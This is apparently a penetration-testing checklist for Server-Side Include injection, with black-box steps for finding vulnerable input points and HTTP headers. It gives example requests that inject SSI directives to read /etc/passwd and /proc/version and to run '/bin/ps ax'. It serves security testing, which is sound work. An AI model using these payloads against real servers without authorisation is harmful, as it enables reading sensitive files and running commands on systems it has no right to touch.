SSI Injection

Check List

Methodology

Black Box

Read Sensitive File via Server Side Include

1

Identify the target web application and perform basic information gathering to determine the web server type

2

Check whether the server potentially supports Server-Side Includes (SSI) by ( Looking for .shtml files in the application or Inspecting response headers and server banners)

3

Identify all possible user input points, including ( Cookie , comments,)

4

Select an input field that reflects user-supplied data back into the application (error messages, forum posts, profile fields) like

POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

comment=HelloWorld

5

Submit a test payload containing an SSI directive, such as

<!--#include virtual="/etc/passwd" -->

Injected request

POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

comment=<!--#include virtual="/etc/passwd" -->

6

Then, check the server response to see if the payloads we injected are displayed and processed in the response and include the contents of the sensitive etc/passwd file. If so, the vulnerability is successfully confirmed

---

Sever Side Including in HTTP Header

1

injection via HTTP headers, for example:

GET / HTTP/1.1
Host: target.com
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->

2

Send the crafted request using a proxy tool (Burp Suite Repeater)

3

Observe whether the injected SSI directives are executed or included in the generated page

4

Conclude that the application is vulnerable to SSI Injection if server-side directives are successfully executed

---

White Box

Cheat Sheet